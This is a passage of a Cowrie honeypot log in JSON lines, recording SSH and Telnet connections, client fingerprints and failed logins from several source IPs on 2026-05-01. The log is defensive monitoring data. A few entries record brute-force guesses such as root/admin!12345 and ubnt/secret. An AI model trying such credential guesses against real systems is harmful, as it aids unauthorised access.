istp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:53.824904Z","src_ip":"148.230.169.229","session":"6da657e1b0a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!12345","message":"login attempt [root/admin!12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:54.122537Z","src_ip":"148.230.169.229","session":"6da657e1b0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:55.189430Z","src_ip":"148.230.169.229","session":"6da657e1b0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.53776669502258,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:58.299170Z","src_ip":"137.184.155.248","session":"be8c3426a953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.7675507068634,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:04.085137Z","src_ip":"137.184.155.248","session":"a52b10de1651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34018,"dst_ip":"10.17.0.5","dst_port":23,"session":"766bc2915297","protocol":"telnet","message":"New connection: 137.184.155.248:34018 (10.17.0.5:23) [session: 766bc2915297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:06.561175Z"}
{"eventid":"cowrie.session.closed","duration":45.40801239013672,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:09.113760Z","src_ip":"137.184.155.248","session":"5647daf48d54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34022,"dst_ip":"10.17.0.5","dst_port":23,"session":"7efb1961141d","protocol":"telnet","message":"New connection: 137.184.155.248:34022 (10.17.0.5:23) [session: 7efb1961141d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:10.044981Z"}
{"eventid":"cowrie.session.closed","duration":45.58502674102783,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:10.825607Z","src_ip":"137.184.155.248","session":"0bf475e57b7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46754,"dst_ip":"10.17.0.5","dst_port":23,"session":"1304aadac327","protocol":"telnet","message":"New connection: 137.184.155.248:46754 (10.17.0.5:23) [session: 1304aadac327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:12.773939Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46758,"dst_ip":"10.17.0.5","dst_port":23,"session":"216799284a1d","protocol":"telnet","message":"New connection: 137.184.155.248:46758 (10.17.0.5:23) [session: 216799284a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:17.259919Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46772,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c3128e38e28","protocol":"telnet","message":"New connection: 137.184.155.248:46772 (10.17.0.5:23) [session: 0c3128e38e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:22.240803Z"}
{"eventid":"cowrie.session.closed","duration":44.125248432159424,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:24.171494Z","src_ip":"137.184.155.248","session":"32f7fb5c46d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57178,"dst_ip":"10.17.0.5","dst_port":23,"session":"a59f21fd10e4","protocol":"telnet","message":"New connection: 137.184.155.248:57178 (10.17.0.5:23) [session: a59f21fd10e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:31.116061Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57184,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf6b491422b","protocol":"telnet","message":"New connection: 137.184.155.248:57184 (10.17.0.5:23) [session: eaf6b491422b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:31.259529Z"}
{"eventid":"cowrie.session.closed","duration":48.07133722305298,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:31.797712Z","src_ip":"137.184.155.248","session":"41adf5609691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57190,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a32312edd4a","protocol":"telnet","message":"New connection: 137.184.155.248:57190 (10.17.0.5:23) [session: 1a32312edd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:31.985088Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41632,"dst_ip":"10.17.0.5","dst_port":23,"session":"80010928eefe","protocol":"telnet","message":"New connection: 137.184.155.248:41632 (10.17.0.5:23) [session: 80010928eefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:33.261461Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":28191,"dst_ip":"159.203.135.109","dst_port":22,"session":"44ab3b761432","protocol":"ssh","message":"New connection: 193.24.211.95:28191 (159.203.135.109:22) [session: 44ab3b761432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:35.020504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:35.025230Z","src_ip":"193.24.211.95","session":"44ab3b761432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:35.134290Z","src_ip":"193.24.211.95","session":"44ab3b761432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"secret","message":"login attempt [ubnt/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:35.558970Z","src_ip":"193.24.211.95","session":"44ab3b761432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:36.670121Z","src_ip":"193.24.211.95","session":"44ab3b761432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.1621732711792,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:37.440993Z","src_ip":"137.184.155.248","session":"1111ee471bbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.34782361984253,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:39.247863Z","src_ip":"137.184.155.248","session":"42a1d3670da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44868,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e5b8f7e01fd","protocol":"telnet","message":"New connection: 137.184.155.248:44868 (10.17.0.5:23) [session: 7e5b8f7e01fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:45.302130Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44880,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b33f207c669","protocol":"telnet","message":"New connection: 137.184.155.248:44880 (10.17.0.5:23) [session: 5b33f207c669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:46.956201Z"}
{"eventid":"cowrie.session.closed","duration":44.86589288711548,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:51.426974Z","src_ip":"137.184.155.248","session":"766bc2915297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44884,"dst_ip":"10.17.0.5","dst_port":23,"session":"326465b99307","protocol":"telnet","message":"New connection: 137.184.155.248:44884 (10.17.0.5:23) [session: 326465b99307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:52.456234Z"}
{"eventid":"cowrie.session.closed","duration":43.41424584388733,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:53.459121Z","src_ip":"137.184.155.248","session":"7efb1961141d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.25110697746277,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:57.024940Z","src_ip":"137.184.155.248","session":"1304aadac327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49192,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ef37c8d484","protocol":"telnet","message":"New connection: 137.184.155.248:49192 (10.17.0.5:23) [session: f1ef37c8d484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:31:59.004294Z"}
{"eventid":"cowrie.session.closed","duration":43.334227323532104,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:00.594052Z","src_ip":"137.184.155.248","session":"216799284a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":56570,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5ac3e85ac4b","protocol":"ssh","message":"New connection: 58.186.20.101:56570 (10.17.0.5:22) [session: c5ac3e85ac4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:01.046188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:01.050848Z","src_ip":"58.186.20.101","session":"c5ac3e85ac4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:01.309763Z","src_ip":"58.186.20.101","session":"c5ac3e85ac4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste1","message":"login attempt [teste/teste1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:02.378506Z","src_ip":"58.186.20.101","session":"c5ac3e85ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00121760368347,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:03.372473Z","src_ip":"31.43.241.152","session":"8f9132003861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53926,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b3950d93bd","protocol":"telnet","message":"New connection: 137.184.155.248:53926 (10.17.0.5:23) [session: a6b3950d93bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:03.540516Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:03.640235Z","src_ip":"58.186.20.101","session":"c5ac3e85ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":37808,"dst_ip":"159.203.135.109","dst_port":23,"session":"296bb0719407","protocol":"telnet","message":"New connection: 31.43.241.152:37808 (159.203.135.109:23) [session: 296bb0719407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:04.233839Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"46b6fee02031","protocol":"telnet","message":"New connection: 137.184.155.248:53932 (10.17.0.5:23) [session: 46b6fee02031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:04.819632Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53940,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ddc1ad2f59b","protocol":"telnet","message":"New connection: 137.184.155.248:53940 (10.17.0.5:23) [session: 4ddc1ad2f59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:07.175939Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53950,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d73689bc2e","protocol":"telnet","message":"New connection: 137.184.155.248:53950 (10.17.0.5:23) [session: 28d73689bc2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:07.595390Z"}
{"eventid":"cowrie.session.closed","duration":45.88625478744507,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:08.126967Z","src_ip":"137.184.155.248","session":"0c3128e38e28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.823934078216553,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:11.999519Z","src_ip":"137.184.155.248","session":"4ddc1ad2f59b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50886,"dst_ip":"10.17.0.5","dst_port":23,"session":"76aa29422ac8","protocol":"telnet","message":"New connection: 137.184.155.248:50886 (10.17.0.5:23) [session: 76aa29422ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:14.928799Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50892,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc7ccad9cff5","protocol":"telnet","message":"New connection: 137.184.155.248:50892 (10.17.0.5:23) [session: cc7ccad9cff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:15.093826Z"}
{"eventid":"cowrie.session.closed","duration":44.68710970878601,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:15.946518Z","src_ip":"137.184.155.248","session":"eaf6b491422b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50896,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c456149179","protocol":"telnet","message":"New connection: 137.184.155.248:50896 (10.17.0.5:23) [session: a6c456149179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:16.182231Z"}
{"eventid":"cowrie.session.closed","duration":45.370760440826416,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:16.486694Z","src_ip":"137.184.155.248","session":"a59f21fd10e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50904,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a858e976bc7","protocol":"telnet","message":"New connection: 137.184.155.248:50904 (10.17.0.5:23) [session: 5a858e976bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:16.872106Z"}
{"eventid":"cowrie.session.closed","duration":46.37391233444214,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:18.358887Z","src_ip":"137.184.155.248","session":"1a32312edd4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.565510511398315,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:18.826864Z","src_ip":"137.184.155.248","session":"80010928eefe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49184,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e476c5bee05","protocol":"telnet","message":"New connection: 137.184.155.248:49184 (10.17.0.5:23) [session: 5e476c5bee05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:27.143848Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49188,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4cc2153240","protocol":"telnet","message":"New connection: 137.184.155.248:49188 (10.17.0.5:23) [session: 9f4cc2153240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:28.248355Z"}
{"eventid":"cowrie.session.closed","duration":44.17562913894653,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:29.477660Z","src_ip":"137.184.155.248","session":"7e5b8f7e01fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.62673783302307,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:35.582794Z","src_ip":"137.184.155.248","session":"5b33f207c669","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.58017039299011,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:36.036241Z","src_ip":"137.184.155.248","session":"326465b99307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49372,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dae4196b29a","protocol":"telnet","message":"New connection: 185.26.126.47:49372 (159.203.135.109:23) [session: 0dae4196b29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:43.050900Z"}
{"eventid":"cowrie.session.closed","duration":45.46319556236267,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:44.467359Z","src_ip":"137.184.155.248","session":"f1ef37c8d484","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.41381788253784,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:44.954205Z","src_ip":"137.184.155.248","session":"a6b3950d93bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.03527283668518,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:52.630535Z","src_ip":"137.184.155.248","session":"28d73689bc2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.675514459609985,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:53.495042Z","src_ip":"137.184.155.248","session":"46b6fee02031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.264448881149292,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:55.315257Z","src_ip":"185.26.126.47","session":"0dae4196b29a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.73249053955078,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:32:55.914600Z","src_ip":"137.184.155.248","session":"a6c456149179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.1062798500061,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:01.034960Z","src_ip":"137.184.155.248","session":"76aa29422ac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.16518831253052,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:03.037159Z","src_ip":"137.184.155.248","session":"5a858e976bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.9624240398407,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:03.056178Z","src_ip":"137.184.155.248","session":"cc7ccad9cff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.61550569534302,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:12.863757Z","src_ip":"137.184.155.248","session":"9f4cc2153240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56016,"dst_ip":"10.17.0.5","dst_port":23,"session":"f23793ae9f3c","protocol":"telnet","message":"New connection: 137.184.155.248:56016 (10.17.0.5:23) [session: f23793ae9f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:15.115363Z"}
